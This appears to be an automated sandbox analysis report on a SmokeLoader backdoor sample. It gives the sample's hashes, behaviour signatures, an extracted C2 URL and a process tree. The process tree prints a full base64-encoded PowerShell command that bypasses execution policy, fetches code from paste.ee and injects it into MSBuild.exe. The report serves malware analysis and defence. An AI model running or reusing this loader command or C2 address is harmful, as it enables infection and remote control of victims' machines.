Overview

overview

10

Static

static

8

TRD-ENQ-27...if.exe

windows7_x64

10

TRD-ENQ-27...if.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    129s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    15/09/2020, 10:41

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    TRD-ENQ-27-2447-27-SISV.pif.exe
  • Size 376KB
  • Sample200915-sdbhea3pqa
  • SHA256 fd6545dad035b74dea3eb7a3d62a3270331db331479a8194e32333abbec20da6
  • MD5 SHA1 SHA512
Score
10/10
trojanbackdoorsmokeloader

Malware Config

Extracted

Family

  • smokeloader

Version

  • 2018

C2

  • http://vipengland.com/1/

rc4.i32
rc4.i32

Signatures

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Blacklisted process makes network request 1 IoCs
  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 168 IoCs
  • Suspicious use of SendNotifyMessage 168 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\TRD-ENQ-27-2447-27-SISV.pif.exe
    "C:\Users\Admin\AppData\Local\Temp\TRD-ENQ-27-2447-27-SISV.pif.exe"
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1124
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -executionpolicy bypass C:\Users\Admin\AppData\Local\Temp\test.ps1
      2⤵
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1944
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8AUgBsAHkAcwB5ACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAiAF4AIgAsACAAIgA0ADQAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAKgAiACwAIAAiADQAOAAiACkALgBSAGUAcABsAGEAYwBlACgAIgAjACIALAAgACIANwA4ACIAKQB8AEkARQBYADsAWwBCAHkAdABlAFsAXQBdACQAZgA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAcgBlAGcALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwBzACcAIAArACAAWwBDAGgAYQByAF0ANQA4ACAAKwAgACcALwAvAHAAYQBzAHQAZQAuAGUAZQAvAHIALwB0AG0AegBpADYAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAJAAkACcALAAnADAAeAAnACkAfABJAEUAWAA7AFsAQwAuAE0AXQA6ADoAUgAoACcATQBTAEIAdQBpAGwAZAAuAGUAeABlACcALAAkAGYAKQA=
        3⤵
        • Blacklisted process makes network request
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:364
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          4⤵
          • Maps connected drives based on registry
          • Suspicious behavior: MapViewOfSection
          PID:1980

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/364-43-0x0000000007810000-0x0000000007812000-memory.dmp
        Download

        memory/364-42-0x0000000000860000-0x000000000086A000-memory.dmp
        Download

        memory/364-27-0x0000000073D40000-0x000000007442E000-memory.dmp
        Download

        memory/1324-48-0x0000000003C70000-0x0000000003C71000-memory.dmp
        Download

        memory/1784-0-0x000007FEF6B70000-0x000007FEF6DEA000-memory.dmp
        Download

        memory/1944-4-0x0000000004940000-0x0000000004941000-memory.dmp
        Download

        memory/1944-23-0x0000000006250000-0x0000000006251000-memory.dmp
        Download

        memory/1944-6-0x0000000005240000-0x0000000005241000-memory.dmp
        Download

        memory/1944-5-0x0000000002580000-0x0000000002581000-memory.dmp
        Download

        memory/1944-15-0x0000000006080000-0x0000000006081000-memory.dmp
        Download

        memory/1944-3-0x0000000002060000-0x0000000002061000-memory.dmp
        Download

        memory/1944-2-0x0000000073D40000-0x000000007442E000-memory.dmp
        Download

        memory/1944-24-0x00000000062E0000-0x00000000062E1000-memory.dmp
        Download

        memory/1944-10-0x0000000006010000-0x0000000006011000-memory.dmp
        Download

        memory/1944-64-0x0000000006490000-0x0000000006491000-memory.dmp
        Download

        memory/1944-63-0x0000000006480000-0x0000000006481000-memory.dmp
        Download

        memory/1944-49-0x0000000006210000-0x0000000006211000-memory.dmp
        Download

        memory/1944-16-0x0000000006120000-0x0000000006121000-memory.dmp
        Download

        memory/1980-46-0x00000000000F0000-0x0000000000105000-memory.dmp
        Download

        memory/1980-44-0x0000000000400000-0x0000000000409000-memory.dmp
        Download